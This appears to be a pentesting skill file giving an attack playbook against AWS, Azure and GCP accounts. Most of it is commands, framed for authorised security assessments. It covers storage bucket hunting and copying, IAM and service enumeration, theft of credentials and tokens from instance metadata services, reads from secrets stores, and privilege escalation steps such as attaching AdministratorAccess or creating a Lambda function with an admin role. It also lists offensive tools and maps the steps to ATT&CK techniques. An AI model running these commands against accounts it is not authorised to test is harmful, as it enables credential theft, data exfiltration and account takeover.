| name | exploiting-cloud-platforms |
| description | Exploit AWS, Azure, and GCP cloud misconfigurations including S3 buckets, IAM roles, metadata services, serverless functions, and cloud-specific privilege escalation. Use when pentesting cloud environments or assessing cloud security. |
| verified | 2026-07-27T00:00:00.000Z |
Exploiting Cloud Platforms
When to Use
- AWS, Azure, or GCP security assessment
- Cloud misconfiguration exploitation
- S3/Blob/Storage bucket hunting
- Cloud IAM privilege escalation
- Serverless function exploitation
- Cloud metadata service abuse
When NOT to Use
- On-premises Active Directory — use
attacking-active-directory
- Container and Kubernetes internals — use
container-security
- IaC and pipeline review from source — use
auditing-supply-chain
- Investigating a cloud compromise — use
responding-to-incidents
- Hardening an account's posture rather than attacking it — use
hardening-cloud-posture
Route to a Depth Skill
Cloud has grown several attack surfaces deep enough to warrant their own
procedure skill. When the assessment narrows to one of these, switch — the
IAM-and-storage methodology here does not carry their specific detail.
| Signal | Skill |
|---|
| A managed Kubernetes cluster (EKS/GKE/AKS): pod-to-cloud IMDS, IRSA/Workload Identity, k8s RBAC | container-security |
| CI/CD pipeline with OIDC federation to the cloud: broad trust policies, runner compromise | auditing-supply-chain |
AWS Security
AWS CLI Setup
aws configure
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-east-1
aws sts get-caller-identity
aws ec2 describe-regions
S3 Bucket Enumeration
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 ls s3://bucket-name/ --recursive
aws s3 sync s3://bucket-name/ ./local-folder/
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
aws s3 ls s3://bucket-name/ --no-sign-request
curl https://bucket-name.s3.amazonaws.com/
S3 Bucket Discovery:
company-backup
company-data
company-dev
company-prod
company-logs
company-assets
python3 s3scanner.py buckets.txt
python3 s3inspector.py --bucket-file buckets.txt
IAM Enumeration
aws sts get-caller-identity
aws iam list-users
aws iam list-attached-user-policies --user-name username
aws iam list-user-policies --user-name username
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/PolicyName
aws iam get-policy-version --policy-arn arn --version-id v1
aws iam list-roles
aws iam list-groups
EC2 Enumeration
aws ec2 describe-instances
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
aws ec2 describe-security-groups
aws ec2 describe-key-pairs
aws ec2 describe-snapshots --owner-ids self
aws ec2 describe-snapshots --owner-ids 123456789012 --restorable-by-user-ids all
Lambda Functions
aws lambda list-functions
aws lambda get-function --function-name function-name
aws lambda invoke --function-name function-name output.txt
aws lambda get-function-configuration --function-name function-name
RDS Enumeration
aws rds describe-db-instances
aws rds describe-db-snapshots
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,PubliclyAccessible]'
Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id secret-name
CloudTrail (Logging)
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name trail-name
aws cloudtrail lookup-events
AWS Privilege Escalation
Common Misconfigurations:
Exploitation Examples:
aws iam create-access-key --user-name admin-user
aws iam attach-user-policy --user-name current-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws lambda create-function --function-name evil --runtime python3.9 --role arn:aws:iam::ACCOUNT:role/AdminRole --handler lambda_function.lambda_handler --zip-file fileb://function.zip
aws lambda invoke --function-name evil output.txt
Azure Security
Azure CLI setup, Blob storage, VM/Azure AD enumeration, Function Apps, Key
Vault, and metadata service commands live in the deep reference:
references/azure-command-reference.md.
GCP Security
gcloud Setup
gcloud auth login
gcloud auth activate-service-account --key-file=key.json
gcloud config list
gcloud projects list
Storage Bucket Enumeration
gsutil ls
gsutil ls gs://bucket-name/
gsutil cp gs://bucket-name/file.txt ./
gsutil iam get gs://bucket-name/
curl https://storage.googleapis.com/bucket-name/file.txt
Bucket Discovery:
company-backup
company-data
company_backup
company_data
python3 gcpbucketbrute.py -k company
Compute Engine
gcloud compute instances list
gcloud compute instances describe instance-name --zone=zone
gcloud compute disks list
gcloud compute snapshots list
gcloud compute firewall-rules list
IAM Enumeration
gcloud iam service-accounts list
gcloud projects get-iam-policy PROJECT_ID
gcloud iam roles list
gcloud iam roles describe roles/editor
Cloud Functions
gcloud functions list
gcloud functions describe function-name --region=region
gcloud functions describe function-name --region=region --format="value(sourceArchiveUrl)"
GCP Metadata Service
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true" -H "Metadata-Flavor: Google"
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" -H "Metadata-Flavor: Google"
Cloud Exploitation Tools
AWS:
python3 pacu.py
python3 scout.py aws
./prowler -M csv
python3 weirdAAL.py
Azure:
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureBlobs
Invoke-EnumerateAzureSubDomains
python3 scout.py azure
roadrecon auth
roadrecon gather
roadrecon gui
GCP:
python3 scout.py gcp
Quick Cloud Wins
AWS:
- Public S3 buckets with sensitive data
- Overly permissive IAM policies
- Unencrypted snapshots
- Public RDS instances
- Lambda functions with secrets in environment variables
- EC2 metadata service abuse (SSRF)
Azure:
- Public blob storage containers
- Overly permissive RBAC
- Exposed Key Vault secrets
- Public-facing VMs with weak credentials
- Function apps with hardcoded secrets
GCP:
- Public storage buckets
- Overly permissive IAM bindings
- Public compute instances
- Service account key exposure
- Cloud Functions with secrets in code
Common Cloud Misconfigurations
- Public Storage - S3/Blob/GCS buckets with public read/write
- Excessive Permissions - Overly permissive IAM/RBAC policies
- Exposed Secrets - Keys/passwords in code, environment variables
- No MFA - Critical accounts without multi-factor authentication
- Open Security Groups - 0.0.0.0/0 access on sensitive ports
- Unencrypted Data - Storage/databases without encryption
- Default Credentials - Services using default passwords
- Exposed Metadata - SSRF to cloud metadata services
- Public Snapshots - EBS/disk snapshots publicly accessible
- CloudTrail Disabled - No logging of API calls
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Initial Access (TA0001)
- T1078 Valid Accounts (also Persistence, Privilege Escalation, Defense Evasion) — see also
cracking-passwords, attacking-active-directory
- T1078.004 Cloud Accounts (also Persistence)
- T1199 Trusted Relationship — see also
auditing-supply-chain
Persistence (TA0003)
- T1098.001 Additional Cloud Credentials — see also
responding-to-incidents
Credential Access (TA0006)
- T1528 Steal Application Access Token — see also
testing-apis
- T1552 Unsecured Credentials — see also
escalating-linux-privileges, auditing-supply-chain
- T1552.005 Cloud Instance Metadata API — see also
testing-web-applications, container-security
Discovery (TA0007)
- T1069 Permission Groups Discovery — see also
attacking-active-directory
- T1087 Account Discovery — see also
attacking-active-directory
- T1526 Cloud Service Discovery
Collection (TA0009)
- T1530 Data from Cloud Storage
Impact (TA0040)
- T1496 Resource Hijacking — see also
hunting-threats
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References